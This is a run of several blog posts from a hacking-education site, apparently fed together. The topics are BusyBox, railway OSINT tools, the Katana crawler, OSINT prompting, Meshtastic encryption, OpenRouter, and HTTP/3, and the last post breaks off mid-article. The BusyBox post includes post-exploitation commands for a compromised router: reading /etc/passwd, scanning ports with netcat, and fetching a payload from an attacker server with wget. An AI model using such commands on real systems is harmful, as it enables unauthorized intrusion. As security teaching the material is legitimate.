Over the years, BusyBox has been maintained by various developers, with Erik Andersen taking over development in the early 2000s and later Denys Vlasenko becoming the primary maintainer. The project has remained active and continues to evolve, with regular updates that add new utilities, improve compatibility, and enhance performance.

The development philosophy has remained consistent throughout its history: provide maximum functionality with minimum resource usage while maintaining reasonable compatibility with standard Unix tools.

Benefits and Advantages

BusyBox offers several compelling advantages that have made it a cornerstone of embedded Linux systems:

Space Efficiency: The most obvious benefit is BusyBox’s incredibly small footprint. By sharing code between utilities and eliminating redundant functionality, it achieves dramatic space savings compared to installing individual tools separately. A typical BusyBox installation might occupy less than 1MB while providing functionality equivalent to tens of megabytes of traditional utilities.

Memory Optimization: Beyond storage savings, BusyBox also conserves RAM by sharing common code paths between utilities. This is particularly valuable in embedded systems where memory is often severely constrained.

Simplified Deployment: Having all essential utilities in a single binary simplifies system deployment and reduces the complexity of dependency management. This is especially valuable in embedded systems where minimizing the number of moving parts is crucial for reliability.

Consistent Behavior: While individual GNU utilities may have different compilation options or versions across systems, BusyBox provides consistent behavior across deployments, which can reduce compatibility issues.

Customizability: BusyBox can be configured to include only the specific utilities needed for a particular application, allowing for even greater space optimization. This modular approach lets developers create highly specialized systems.

Performance: For many common operations, BusyBox utilities can actually outperform their full-featured counterparts due to their streamlined implementations and reduced overhead.

Why Hackers Should Care?

Portability: BusyBox works on almost any Linux or Unix-like system.

Minimal Footprint: Perfect for custom hacking distros, bootable USBs, or CTFs.

Essential for Embedded Targets: Many IoT devices and routers run BusyBox by default—knowing it helps you exploit or secure them

Stealth: BusyBox can be statically compiled and dropped onto a target for post-exploitation, giving you a full set of tools even on stripped-down systems.

Where BusyBox is Used

Domain	Examples / Usage
Embedded Systems	Used in router firmware, smart TVs, automotive infotainment, and industrial control systems. Brands: Linksys, Netgear, D-Link.
Container Environments	Alpine Linux (used in Docker containers) uses BusyBox as the default CLI toolkit to reduce image size and resource usage.
IoT Devices	Incorporated into low-power Internet of Things devices to provide essential system functions with minimal resource usage.
Recovery & Rescue Systems	Used in Linux rescue disks and recovery tools to offer a full Unix environment in limited space. Continues the legacy from the Debian installer.
Mobile Devices	Found in Android recovery mode and mobile Linux distributions for maintenance and emergency operations.
Educational Systems	Used on devices like the Raspberry Pi in educational environments for its simplicity and low resource footprint.

Essential BusyBox Commands for Hackers

Here’s a quick reference to some of the most useful BusyBox applets for hacking and pentesting

Command	Purpose
ls	List files and directories
cp	Copy files
mv	Move/rename files
rm	Remove files
cat	View file contents
grep	Search for patterns in files
awk	Pattern scanning and processing
sed	Stream editor for filtering and transforming text
vi	Text editor
wget	Download files from the web
nc	Netcat for networking
ifconfig	Configure network interfaces
ps	List running processes
kill	Send signals to processes
sh	Shell (ash)

Getting Started with BusyBox on Kali Linux

First, verify that BusyBox is installed on your Kali system:

kali> busybox –help

BusyBox can be invoked in several ways. The most straightforward method is to call it directly with the desired utility as an argument:

kali> busybox ps aux

To see all utilities available in your BusyBox installation:

kali> busybox –list

In hacking/penetration testing scenarios, BusyBox utilities can be particularly useful:

• Network reconnaissance: Use busybox nslookup or busybox ping for basic network discovery

• File operations: busybox find, busybox grep, and busybox awk for log analysis and file searching
• System analysis: busybox ps, busybox netstat, and busybox top for system monitoring

• Text processing: busybox sed and busybox cut for parsing command output

Security Considerations and Notable Attacks

While BusyBox itself is generally well-maintained and secure, its widespread deployment in embedded systems has made it a target for various security concerns:

Firmware Vulnerabilities: Many security incidents involving BusyBox have actually been related to vulnerabilities in the surrounding firmware or system configuration rather than BusyBox itself. However, because BusyBox is so commonly used in embedded devices, it often becomes part of the attack surface.

IoT Botnets: Several large-scale IoT botnets, including variants of Mirai, have targeted devices running BusyBox. These attacks typically exploit weak default credentials or unpatched vulnerabilities in the broader system rather than BusyBox-specific flaws.

Supply Chain Concerns: Because BusyBox is embedded in so many devices, vulnerabilities in BusyBox can have far-reaching consequences.

Configuration Issues: Many security problems arise from mis-configurations or the inclusion of unnecessary utilities that expand the attack surface. The modular nature of BusyBox, while beneficial for customization, requires careful consideration of which utilities to include.

The embedded nature of many BusyBox deployments can make security updates challenging, as end users often cannot easily update the firmware on their devices. This has led to situations where known vulnerabilities persist in deployed devices long after fixes are available.

Real-World Example

Suppose you’ve gained shell access on a router that runs BusyBox. Here’s how you might use it to enumerate the system and pivot further, you could;

bash# List users
busybox cat /etc/passwd

# Check network interfaces
busybox ifconfig

# Scan for open ports (if netcat is available)
busybox nc -zv 127.0.0.1 1-1024

# Download a script or tool
busybox wget http://yourserver/payload.sh

# Get a shell
busybox sh

Summary

As computing continues to diversify into edge devices, IoT systems, and resource-constrained environments, BusyBox remains as relevant as ever. Its combination of small size, comprehensive functionality, and proven reliability ensures its continued importance in the embedded Linux ecosystem.

If you’re curious about how tools like BusyBox power the tech world and want to learn Linux yourself, now’s a great time to begin. Take a look at our Linux Basics for Hackers Bundle — it’s a practical, beginner-friendly way to learn Linux.

The post IoT Embedded Linux: BusyBox, the Most Widely Used Linux in IoT first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Railways are probably the most talkative piece of infrastructure in the world. Unlike military installations or closed networks, most railway data is deliberately published in the open: timetables, track diagrams and network lengths. All of this exists to serve passengers, logistics companies, and researchers, but that same data turns out to be a powerful OSINT resource for transport infrastructure analysts and security researchers alike.

In this article, I will walk through a set of open tools that let you investigate the rail infrastructure of almost any country, from a static map of the tracks to the real-time position of a single train. Let’s get rolling!

Why This Matters

A rail network is the physical backbone of a country’s logistics, covering passenger traffic, freight corridors, border crossings, and industrial sidings. For an analyst, it is a source of information about the network’s topology, meaning which lines connect where, which stations act as junctions, and which branches simply end. It also reveals capacity and traffic load, since it shows how many trains actually run on a given route. Beyond that, it exposes concrete infrastructure objects such as stations, depots, marshalling yards, and industrial spur lines. Finally, it can show real-time dynamics, meaning where a specific train or tram happens to be right now.

Each tool described below covers a different slice of this picture. Together they form a fairly complete stack for railway OSINT.

Step 1: OpenRailwayMap

https://www.openrailwaymap.org

This is a derivative project of OpenStreetMap dedicated entirely to railway infrastructure. The map displays tracks broken down by electrification, gauge, and number of tracks, along with signaling equipment and speed limits through its Maxspeed layer. It also shows stations, platforms, depots, and switches, and includes an operations layer that reveals which operator a given section of track belongs to.

Step 2: NS International Station Maps

https://www.nsinternational.com/en/stations/station-maps-floor-plan

This is a catalog of floor plans for European railway stations. It is useful when you need to understand the internal layout of a specific hub, including platform positions, exits, and interchange points with other transport modes.

For an OSINT analyst, this is a natural complement to satellite imagery. A floor plan shows what you cannot see from above, such as platform numbering, service access points, and staff-only zones.

Step 3: geOps Mobility Portal

https://mobility.portal.geops.io

This is an online tracker that shows the live movement of trains and public transport across most of Europe, tied to the published timetable. On the map, you can see the current position of a service, its train number and rolling stock type, and any delays relative to schedule.

Step 4: Yandex Rasp Train Map

https://rasp.yandex.ru/map/trains

This is a similar service, but it covers Russia, Belarus, Kazakhstan, and Uzbekistan, regions that geOps does not reach.

Step 5: Wikiroutes

https://wikiroutes.info

This is a crowdsourced directory of public transport routes covering trams, trolleybuses, buses, and metro systems in cities worldwide. It is not strictly a railway resource, but it is valuable for analyzing the last mile, meaning how passengers actually get from a station into the city, and for understanding how a rail network integrates with the rest of urban transport.

Step 6: City Population, network length statistics

https://www.citypopulation.de/en/world/bymap/railways

This is a statistical resource showing total railway track length broken down by country and region.

Summary

Rail infrastructure is one of the few types of critical infrastructure where states and operators voluntarily publish an enormous amount of detailed open data, simply because passengers need it. For an analyst that means a combination of free maps, trackers, and directories can produce a picture rivaling that of commercial geospatial analytics products. All it takes is knowing which tool covers which layer of the data.

If you’re looking to enhance your OSINT skills beyond just using this tool, consider exploring OSINT training. If you need assistance in uncovering the truth, don’t hesitate to reach out to us at hackers-arise@protonmail.com, and we’ll conduct a comprehensive OSINT investigation for you.

The post Open Source Intelligence (OSINT): What Open Maps and Trackers Reveal About Rail Networks first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and bug bounty hunters!

When we work with web applications, we often need to effectively crawl and spider them to understand what we’re dealing with. But the main problem we might encounter is that a target web app is an SPA, or single-page application. This means that the website loads a single HTML file initially and dynamically updates the content within that page as the user interacts with it. Therefore, traditional crawling tools become ineffective with modern web applications.

To work with modern JavaScript frameworks, single-page applications, and sophisticated authentication mechanisms, we can use the Katana framework from ProjectDiscovery. Katana is a web crawler that allows you to discover hidden paths, parameters, and endpoints in web applications. It’s fast, modular, and supports multiple crawling techniques.

One of the most impressive aspects of Katana is its ability to handle JavaScript execution and dynamic content rendering. Traditional crawlers often miss critical functionality because they cannot execute JavaScript or understand how modern web applications dynamically generate content. Katana addresses this limitation by incorporating headless browser capabilities that allow it to fully render pages, execute JavaScript, and discover content that would otherwise remain hidden.

Let’s explore how to download, install, and utilize this powerful reconnaissance tool to enhance your web application security testing capabilities.

Installing Katana

There are few methouds of installing the tool. In this article, I’ll focus on installing using Go programming language.

First, verify if Go is already installed:

kali> go version

Install Katana using the Go package manager:

kali> go install github.com/projectdiscovery/katana/cmd/katana@latest

Verify the installation:

kali> katana -version

Crawling Modes

Katana supports two main crawling modes, each tailored to different types of web applications and use cases.

The Standard Mode is designed for speed and simplicity, making it ideal for traditional websites. It uses Go’s built-in HTTP library to handle requests and responses, parsing raw HTTP response bodies without executing JavaScript or rendering the DOM. This lightweight approach ensures fast performance but may miss endpoints in more complex applications that rely on browser-based events.

In contrast, the Headless Mode offers a more thorough crawl by simulating a real browser environment. This mode is especially useful for modern, JavaScript-heavy applications, as it captures both raw and rendered content. By mimicking a legitimate browser fingerprint (including TLS and user-agent headers), it improves coverage and detection of dynamic elements.

You can enable Headless Mode with the -headless flag and customize it further with several options:

• -sc / -system-chrome: Use the locally installed Chrome
• -sb / -show-browser: Show the browser window during execution
• -ho / -headless-options: Pass custom Chrome options
• -nos / -no-sandbox: Disable the Chrome sandbox (useful for root users)
• -cdd / -chrome-data-dir: Specify a custom Chrome data directory
• -scp / -system-chrome-path: Set a specific path to the Chrome executable
• -noi / -no-incognito: Disable incognito mode

Basic Website Reconnaissance

Let’s start with a fundamental reconnaissance scenario where we need to map a target website’s structure and discover all accessible endpoints. For this example let’s try to understand application’s structure of Vesti.ru – Russian news website.

kali> katana -u https://example-target.com -d 5 -c 10 -o target-crawl-results.txt

-u: Specifies the target URL

-d 5: Sets maximum crawling depth to 5 levels

-c 10: Uses 10 concurrent threads for faster crawling

-o: Saves all discovered URLs to a file

JavaScript-Heavy Application Crawling

Modern web applications often rely heavily on JavaScript for content generation. Here’s how to handle an AngularJS-based single-page application.

kali> katana -u https://angular-app.com -js-crawl -headless -timeout 30 -delay 2 -o angular-results.json

-js-crawl: Enables JavaScript execution during crawling to handle AngularJS controllers and directives

-headless: Uses headless Chrome for rendering AngularJS templates and executing digest cycles

-timeout 30: Sets 30-second timeout for page loads to accommodate AngularJS bootstrapping

-delay 2: Adds 2-second delay between requests to allow AngularJS routing transitions

Known Files Discovery

Crawl for common files like robots.txt and sitemap.xml that often reveal valuable information about website structure and hidden content. These files can provide insights into:

• robots.txt: Disallowed directories and files that may contain sensitive information
• sitemap.xml: Complete site structure including pages not linked from main navigation
• Other discovery files: Common configuration files, backup files, and administrative interfaces

kali> katana -u https://example.com -known-files all -d 3

Note that a minimum depth of 3 is required to ensure comprehensive discovery of all known files across the target application.

Filtering Capabilities

Katana offers robust filtering features that help users process, refine, and manage crawl output with precision. These capabilities make it easy to isolate valuable data, reduce noise, and tailor results to match specific goals.

Users can filter output by specific fields, include or exclude URLs based on extensions or regular expressions, and even define custom fields using a YAML configuration file. This flexibility is crucial for handling the often large volume of data produced during a crawl, ensuring that users can focus on the most relevant information.

Some key filtering options include:

• -field or -f: Display specific fields (e.g., url, path, fqdn, rdn)
• -store-field or -sf: Save selected fields to disk
• -extension-match or -em: Show only URLs with specific file extensions
• -extension-filter or -ef: Exclude URLs with specific file extensions
• -match-regex or -mr: Include URLs that match a regex pattern
• -filter-regex or -fr: Exclude URLs that match a regex pattern

Example:
To extract only .js URLs (including those with query parameters) and save their full URLs to a file, you could run:

kali> katana -u https://example.com -match-regex “\.js” -f url -sf url -o js-files.txt

Summary

Whether you’re conducting penetration tests, bug bounty research, or comprehensive cyberwar operations, Katana’s advanced capabilities and modern architecture make it an essential addition to your hacking toolkit.

If you’re serious about sharpening your offensive security skills, consider our Subscriber Pro package. It’s designed to take your expertise to the next level.

The post Web App Hacking: Katana, A Next-Generation Crawling and Spidering Framework first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Every OSINT investigator now has access to a large language model on their desktop. This tool can quickly summarize thousands of pages or organize chaotic names and dates into a clear timeline. And this is widely accepted. But the difference between an investigator who gets useful results and one who gathers unhelpful information lies not in the model they use, but in how they interact with it.

This article explains how to create prompts that improve your OSINT work. It draws on recent academic research about prompting strategies for security tasks and insights from experienced OSINT practitioners. Let’s get rolling!

Prompt Is More Important Than the Model

Recent research on large language models in offensive security tasks highlights an important point. Methods that relied on reasoning, such as few-shot and chain-of-thought prompting, produced better results. These methods generated code that closely matched the reference examples, executed correctly, and handled various situations well.

One surprising finding was that continuously refining a prompt or asking the model to rethink its answer often resulted in worse outcomes. This happened because rephrasing the prompt misinterpreted the original task and lowered the accuracy of the output. So, repeatedly saying “try again” or “are you sure” is not an effective debugging strategy. If your first prompt was unclear, it is better to follow up with a clear and structured prompt rather than trying to steer the model to a better answer afterward.

Focus on crafting clear instructions at the beginning.

Create a Master Prompt Before You Begin

Before discussing a specific OSINT case, it’s a good practice to create a master prompt. This set of rules, though not related to the target, guides how the model should perform during the session.

This approach uses a well-known idea called anchoring. The first instructions you give to a model have a big influence on all the following interactions. If your first message includes a leading assumption, the model will consider that assumption important for the rest of the conversation, even if you didn’t mean for it to be.

A strong master prompt might look something like this.

Act as a neutral OSINT analyst. Do not treat any hypothesis as proven. Separate facts, indicators, assumptions, and conclusions. Look for evidence against a theory as actively as evidence for it. If the available data is insufficient, say so directly instead of filling the gap.

In other words, this is the initial set of instructions that the AI will follow throughout the entire time you’re working on the task. This reduces the number of errors because it explains to the model in advance exactly how to proceed and which rules to follow.

Basically, a master prompt should specify:

the role;

the goal of the task;

neutrality;

verification rules;

the response format;

a prohibition on unconfirmed conclusions and fabrications;

a requirement to distinguish facts from hypotheses;

a requirement to indicate what is missing.

And then you can set a specific task: what you’re looking for, who you’re looking for, what time period you’re covering, what sources you already have, and so on.

Ask Neutrally

One important but often overlooked issue in AI-assisted open-source intelligence is sycophancy. This happens when a model tends to agree with what the user already believes. For example, if you ask, “prove that this person is connected to this company,” the model starts with the answer you want before it even begins its search. It will look for information that confirms your belief simply because that’s what you asked for.

To fix this, you need to change how you phrase your requests. Instead of using words like “prove,” “confirm,” or “expose,” use “check” or “assess.” Don’t present your suspicions as facts. Phrases like “I already know” or “I am certain” lead the model to validate your beliefs rather than question them. Instead, ask it to build arguments for and against your theory, suggest different explanations, and counter your own ideas.

Specific Prompts You Can Use in Your Own Investigations

Theory is useful, but what most investigators actually want is something they can paste into a chat window tonight. Below are working examples for common OSINT tasks.

For digging into a person’s background, a strong prompt reads something like this.

Act as a neutral OSINT analyst. I am researching a public figure named [name], active in [industry or region]. Using only the material I provide below, build a table of confirmed facts with a source for each one. Separate anything that is an inference or a pattern from anything that is a documented fact. Flag contradictions between sources. Do not draw a conclusion about the person's character or intentions, only report what the material actually supports.

For sorting through a pile of scraped social media posts or forum threads, the goal is structure and pattern detection rather than interpretation.

Read the following set of posts and extract every name, date, location, and organization mentioned. Group them into a timeline ordered by date. Note any account that repeats phrasing found in another account, since that may indicate coordinated rather than organic activity, but do not conclude that it is coordinated, only flag it for review.

For checking a corporate or business connection, the earlier example from this article works well as a template, but it is worth repeating in full because it demonstrates every rule at once.

Assess a possible connection between [subject] and [company] between 2020 and 2025. Use only the material provided. Produce a table with columns for fact, source, supporting detail, confidence level, and what still needs verification. Search for evidence against the connection as thoroughly as evidence for it. List the weak points in the theory separately at the end.

For translating and analyzing foreign language material, always ask for the original text alongside the translation, since that preserves your ability to verify tone, sarcasm, and slang later.

Translate the following text into English. Preserve the original text beside the translation. If any phrase relies on slang, sarcasm, or local idiom that may not translate directly, mark it and explain the likely intended meaning separately from the literal translation.

For comparing multiple documents or reports covering the same event, the model’s strength is spotting overlap and divergence quickly, provided you tell it not to resolve the divergence for you.

Compare the following three reports about the same event. List every claim that all three sources agree on, every claim only one source makes, and every direct contradiction between them. Do not decide which source is correct, only present the disagreement clearly.

And for stress testing your own working theory before it goes into a report, a short adversarial prompt catches more mistakes than another hour of reading.

Here is my working theory: [state theory]. Argue against it as convincingly as you can, using only the evidence already provided in this conversation. Then list what additional evidence, if it existed, would be needed to make the theory solid.

Summary

Carefully written prompts that encourage reasoning are more effective than careless, repetitive prompts. Another important point is that a claim from the model is just a suggestion, not a fact, until you check the source yourself. Even as the tool improves, it’s still your job to decide what is a true finding and what is just a coincidence.

We also invite you to join our AI for Cybersecurity training. During the training, we’ll show you different ways of using AI in cybersecurity, set up local models and solve labs. The field is evolving rapidly and the sooner you learn things, the greater the advantage you’ll have. There’s no reason to resist AI. It’s a tool to master.

The post Artificial Intelligence (AI) in Cybersecurity, Part 24: Prompts That Will Supercharge Your OSINT Research first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

Your messages travel through the mesh network, jumping from device to device, and might stay unencrypted. You need to understand how Meshtastic encryption works and how to set it up correctly, because a poorly configured mesh network can expose your communications to anyone with a compatible radio and basic technical knowledge.

In this article, we will explore the encryption options that Meshtastic provides for group communication and direct messages. Let’s get rolling!

Step #1: Setting Up Your Hardware with the Android Meshtastic App

In this demonstration, I will use the LilyGo T-Echo device and LilyGo T3 V1.6.1 (often labeled T-LoRa V2 1.6). However, you can use any other Metastatic-compatible device. Just make sure your device is running firmware version 2.5.0 or later to use the improved security features. When you connect the device to the Meshtastic app, the firmware version will be displayed.

Step #2: Configuring Pre-Shared Keys for Chat Channels

Chat Channels represent the primary method of group communication in Meshtastic networks. Each channel uses a Pre-Shared Key (PSK) that all participants must possess to participate in the conversation. The PSK serves as the encryption key (specifically AES256-CTR), while the channel is identified by a hash derived from both the PSK and the channel name. This means only devices with the correct PSK can decrypt messages sent on that channel, though it’s important to understand that the encrypted packets themselves are still broadcast over the radio and visible to anyone in range; they just can’t decrypt them without the PSK.

The default channel on a fresh Meshtastic installation (typically called “LongFast”) uses a well-known PSK (AQ==, which is simply a single null byte) that provides no real security whatsoever. Anyone with a Meshtastic device can receive and decrypt messages sent on the default channel, making it suitable only for public announcements or testing purposes. For any sensitive communications, you must configure custom channels with randomly generated PSKs that are shared only with trusted participants.

To create a secure channel, we need to open Settings and then the Channels section. At the bottom-right corner, you’ll see a plus sign, click on it, and you’ll see a screen like below.

Here, you need to specify a Channel name; in my case, it’ll be just “Secure”. Immediately after entering the name, the app will generate a random PSK automatically. That’s all, click Save.

You’ll be returned to the Channels settings, and click on Send. Now, the channel is ready, and the only thing we need to do is share this channel configuration with other participants who should have access. The easiest method is to generate a QR code that other users can scan with their Meshtastic apps to automatically configure the same channel settings, including the PSK.

To do so, change the tab to Conversations and click on the QR-Code icon; you’ll see a window like below.

Now, any messages you send on this channel will be encrypted with AES256 using that channel’s PSK, and only devices with the correct PSK will be able to decrypt and read them.

Remember: while your messages are encrypted, the radio transmissions are still broadcast publicly. Encryption prevents eavesdroppers from reading the content, but doesn’t hide the fact that communication is occurring.

Step #3: Public Key Cryptography for Direct Messages

Direct Messages in Meshtastic firmware version 2.5.0 and later utilize Public Key Cryptography (PKC) to provide authenticated and encrypted one-to-one communications between devices. Unlike channel communications, where all participants share the same password (PSK), Direct Messages use a more sophisticated system where each device has its own unique public and private key pair based on Curve25519 and Ed25519 cryptography.

When you send a Direct Message to another device, Meshtastic uses a hybrid encryption approach for efficiency:

1. A random AES session key is generated for that specific message
2. Your message is encrypted using that session key with AES
3. The session key itself is encrypted using Curve25519 key agreement with the recipient’s public key
4. The message is digitally signed using your Ed25519 private key

This ensures that only the recipient with the corresponding private key can decrypt the session key (and thus the message), providing confidentiality. The digital signature allows the recipient to verify that the message actually came from you and has not been tampered with in transit, providing authentication.

Important note: While the message content is encrypted, metadata such as sender ID, recipient ID, and timestamps remain visible to anyone monitoring the radio network. This is inherent to how mesh routing works.

The good news is that enabling Public Key Cryptography for Direct Messages requires almost no configuration on your part when using the Android app! In firmware version 2.5.0 and later, the device automatically generates its key pair when you first power it on with the updated firmware, and keys are automatically exchanged with other devices as needed through the mesh network.

Summary

In this article, we covered Pre-Shared Keys for securing group chat channels and Public Key Cryptography for protecting Direct Messages on your Meshtastic device. By implementing these encryption mechanisms, you can achieve decentralized communications where message content is protected from eavesdropping and tampering.

The post Off-Grid Communications, Part 4: How to Secure Meshtastic Communications first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors and AI enthusiasts!

As we know, the world of LLMs is constantly shifting. LLMs that shine today may become slower or be surpassed as quickly as the next day or month. To help simplify the process of navigating these changes over time, you can turn to OpenRouter.

OpenRouter offers a unified API that allows seamless access and routing among hundreds of LLMs. It also features tools for cost management and fallback options, allowing you to control your LLM spending and optimize performance effectively.

In this article, we will delve into how OpenRouter operates, weigh its pros and cons, and guide you on how to get started. Let’s get rolling!

OpenRouter Architecture: How It Works

When you use OpenRouter, your request never talks to OpenAI or Anthropic directly. It talks to OpenRouter first. OpenRouter acts as a proxy and decides where your request should go, applies your preferences, and hands back one clean response. Let’s walk through how that actually happens, step by step.

It all starts on your end. You make one API call, send your prompt, pick a model (or just let OpenRouter handle that decision), and set whatever parameters you’d normally use.

From there, the request hits OpenRouter’s routing layer, and this thing has to think fast, we’re talking milliseconds. First it checks whether you asked for a specific model or told OpenRouter to optimize on your behalf. Then it starts comparing notes: which provider has the best price right now, which endpoint is fastest at this exact moment, whether your preferred model is even available. If it’s not, routing already has a backup lined up. It also looks at what’s worked well before, so a provider with a strong track record on similar requests tends to get picked more often.

Once that decision is made, your request goes out to an actual provider, maybe OpenAI, maybe Anthropic, maybe Mistral, or really any of the 400-plus models sitting in OpenRouter’s catalog. And here’s what I find genuinely clever about the whole setup: the provider has no idea anything unusual is going on. As far as they’re concerned, it’s just a normal request. They process it, send back a response, done.

That response then makes its way back to OpenRouter, gets cleaned up and put into a consistent format, and lands in your application, no matter which provider actually did the work behind the scenes.

Get Started with OpenRouter

To send requests, you first need to create an account on OpenRouter and obtain your API key. Head over to the official OpenRouter website to sign up.

OpenRouter gives you two ways to start using it. There’s a free tier that grants access to a range of models, so you can start experimenting without spending anything. If you need paid models or services, you simply add pay-as-you-go credits and only pay for what you use.

Once you’ve decided how you’ll use it, the next step is getting your API key. Head to the dashboard, find the “API keys” option, and click “New Key.” A dialog box will pop up showing your new key. Copy it right away and store it somewhere safe.

Making Your First API Call in OpenRouter

To make your first API call to OpenRouter, we’ll utilize the Python programming language. I assume you have some familiarity with it; if not, we offer a series of articles and courses to help you get up to speed. You don’t need to be an expert, but it’s important to grasp concepts such as making HTTP requests and working with JSON responses.

We’ll be using the openai Python package to connect with OpenRouter’s API, and we’ll also incorporate python-dotenv to manage environment variables securely. Additionally, I suggest setting up a Python virtual environment for a smoother experience.

kali> python3 -m venv myenv

kali> source myenv/bin/activate

kali> pip install requests openai python-dotenv

Create an .env file in your project directory and add your OpenRouter key like this:

OPENROUTER_API_KEY=your_api_key

After that, we’re ready to start testing. To do so, we can create a simple script like the one below.

Once you run this script as you typically would with any Python script, you’ll receive a response similar to the one below.

I hope this gives you an idea. OpenRouter features good documentation that covers a lot, and your potential outcomes are only limited by your imagination.

Previously, we discussed how to utilize OpenRouter to create an autonomous AI agent that employs a reasoning loop to streamline OSquery threat hunting. This process transforms raw system data into forensic conclusions at machine speed. You can find more details on this topic here. The process is generally quite straightforward. Additionally, take some time to explore other applications of OpenRouter in the article titled “Targeting LLM Supply Chains with Router-in-the-Middle Attacks.”

What Specific Models Does the OpenRouter API Offer?

OpenRouter provides access to an extensive catalog, featuring over 400 models sourced from various providers. In addition to the well-known chat models, OpenRouter organizes its offerings into collections based on specific use cases. You can explore dedicated sections for vision and multimodal models that analyze images and interpret charts, as well as embedding models designed for semantic search and RAG pipelines. There are also models for video and audio generation, along with text-to-speech and transcription capabilities.

However, figuring out which model to choose and estimating your monthly costs can still be a challenge. To address this, OpenRouter has released its own benchmarks. They maintain five leaderboards that operate on production endpoints, four of which focus on fixed models, allowing you to compare the configurations you actually control.

Another useful feature is the model comparison tool, which lets you select models that interest you and find the best fit for your needs.

How Does OpenRouter Manage Data Privacy and Security While Routing Requests?

When your data reaches OpenRouter, it first hits their servers before being forwarded to the provider that handles the actual inference, such as Anthropic or OpenAI. OpenRouter processes the prompt to route it correctly and log usage, then sends that same prompt to the downstream provider to generate a response. It is important to note that the retention and training policies that apply to your data are a blend of both OpenRouter’s and the provider’s practices, meaning OpenRouter’s privacy settings tell only part of the story.

By default, OpenRouter does not retain your prompts. They only store your prompts or responses if you specifically choose to opt in for logging. There are two distinct opt-in options available. One allows you to view your own prompts and completions in your logs for debugging, while the other gives OpenRouter permission to use your prompt and completion data to enhance the product. This latter option is turned off by default but offers a small usage discount if you enable it. Neither of these options is activated unless you decide to do so.

Additionally, there is a feature called Anonymous Input Categorization. With this feature, OpenRouter samples a small number of prompts for categorization, which helps in reporting and model ranking. If you have not opted in for OpenRouter to use your inputs and outputs, any categorization of your prompts should be stored anonymously and should never be linked to your account or user ID. This categorization is conducted by the model with a strict zero-data-retention policy.

Zero Data Retention, or ZDR, means that OpenRouter will only route your requests to endpoints from providers that do not store your data, and these providers also cannot use your data for training purposes.

Pros and Cons of OpenRouter

The greatest advantage of OpenRouter lies in its convenience. With just one API, you gain access to a multitude of models from OpenAI, Anthropic, Google, and more, eliminating the hassle of managing multiple integrations. It automatically handles failovers, rerouting requests if a provider goes down, and simplifies cost optimization by allowing you to easily compare prices and choose options that fit within your budget.

On the flip side, the main concerns revolve around trust and control. Each request now passes through an additional layer before reaching the actual provider, which introduces another party into your privacy framework.

Summary

OpenRouter has several important benefits for cybersecurity work. By not relying on just one provider, you lower your risk if that provider is breached or goes down. The automatic failover feature keeps your tools running even if a model provider has an outage.

It’s also useful for testing. You can run the same security task on different models without having to rebuild anything each time.

I recommend trying this tool; it might be a great fit for your cybersecurity toolkit.

The post OpenRouter: One Gateway to Every LLM first appeared on Hackers Arise.

Welcome back, aspiring cyberwarriors!

For decades, traditional HTTP traffic over TCP, also known as HTTP/1 and HTTP/2, has been the backbone of the web, and we have tools to analyze, intercept, and exploit it. But nowadays, we have HTTP/3, which is steadily increasing adoption across the web. In 2022, around 22% of all websites used HTTP/3; in 2025, this number increased to ~40%. And as cyberwarriors, we need to stay ahead of these changes.

In the article, we briefly explore what’s under the hood of HTTP/3 and how we can get in touch with it. Let’s get rolling!

What is HTTP/3?

HTTP/3 is the newest version of the Hypertext Transfer Protocol. Browsers, applications, and APIs use this system to move data across the Internet. What sets HTTP/3 apart is its break from TCP, the transport protocol that has powered the web since its earliest days.

The Problem with TCP

TCP (Transmission Control Protocol) is reliable but inflexible. It prioritizes accuracy over speed. It ensures all data arrives in perfect order, even if that slows the whole connection.

Each session requires a multi-step handshake. If one packet gets delayed, everything behind it must wait. This worked for email. It’s a poor fit for modern, high-speed web traffic.

How QUIC Solves It

HTTP/3 uses QUIC (Quick UDP Internet Connections) to overcome these limitations. QUIC is a transport protocol built on UDP. Engineers designed it for a fast, mobile, and latency-sensitive Internet.

QUIC minimizes handshake overhead. It avoids head-of-line blocking. And it encrypts nearly the entire connection by default, right from the start.

After years of development, the IETF officially standardized HTTP/3 in 2022. Today, it’s widely implemented across major browsers, cloud platforms, and an ever-growing number of web servers.

What Is QUIC?

Traditional web traffic follows a predictable pattern. A client starts a TCP three-way handshake. Then it performs a TLS handshake over that connection. Finally, it begins sending HTTP requests.

QUIC collapses this entire process into a single handshake. This handshake combines transport and cryptographic negotiation. The first time a client connects to a server, it can establish a secure connection in just one round trip.

On subsequent connections, QUIC can achieve zero-round-trip-time resumption. This means the client can send encrypted application data in the very first packet.

The protocol encrypts almost everything except a minimal connection identifier. TLS over TCP exposes TCP headers, sequence numbers, and acknowledgments in plaintext. QUIC, by contrast, encrypts packet numbers, acknowledgments, and even connection close frames. This encryption-by-default approach significantly reduces the metadata available for traffic analysis.

QUIC also implements connection migration. This feature allows a connection to survive network changes. If a user switches from WiFi to cellular, or their IP address changes due to DHCP renewal, the QUIC connection persists. It does this using connection IDs rather than the traditional four-tuple: source IP, source port, destination IP, and destination port.

QUIC Handshake

The process begins when the client sends its Initial packet. This first message contains the client’s supported QUIC versions, the available cipher suites, a freshly generated random number, and a Connection ID. This ID is a randomly chosen identifier. It remains stable even if the client’s IP address changes.

Inside this Initial packet, the client embeds the TLS 1.3 ClientHello message. It also includes QUIC transport parameters and the initial cryptographic material needed to start key negotiation. If the client has connected to the server before, it may even include early application data, such as an HTTP request, to save an extra round trip.

Server Response

The server then responds with its own set of information. It chooses one of the client’s QUIC versions and cipher suites, provides its own random number, and supplies a server-side Connection ID along with its QUIC transport parameters. This response embeds the TLS 1.3 ServerHello, which contains the cryptographic material needed to derive shared keys. The server also sends its full certificate chain, including the server certificate and the intermediate certificate authorities (CAs) that signed it. It may optionally include early HTTP response data too.

Certificate Verification and Connection Setup

Once the client receives the server’s response, it begins certificate verification. It extracts the certificate data and the accompanying signature, identifies the issuing CA, and uses the appropriate root certificate from its trust store to verify the intermediate certificates and, ultimately, the server’s certificate.

To do this, the client hashes the received certificate data using the algorithm the certificate specifies. It then checks whether this computed hash matches the one it can verify with the CA’s public key. If the values match, and the certificate is valid for the current time period and domain name in use, the client can trust that the server is genuine.

At this point, the client derives the QUIC connection keys using the TLS key schedule. It sends its TLS Finished message inside another QUIC packet. Once this exchange completes, the connection is fully ready for encrypted application data.

Encrypted Communication Begins

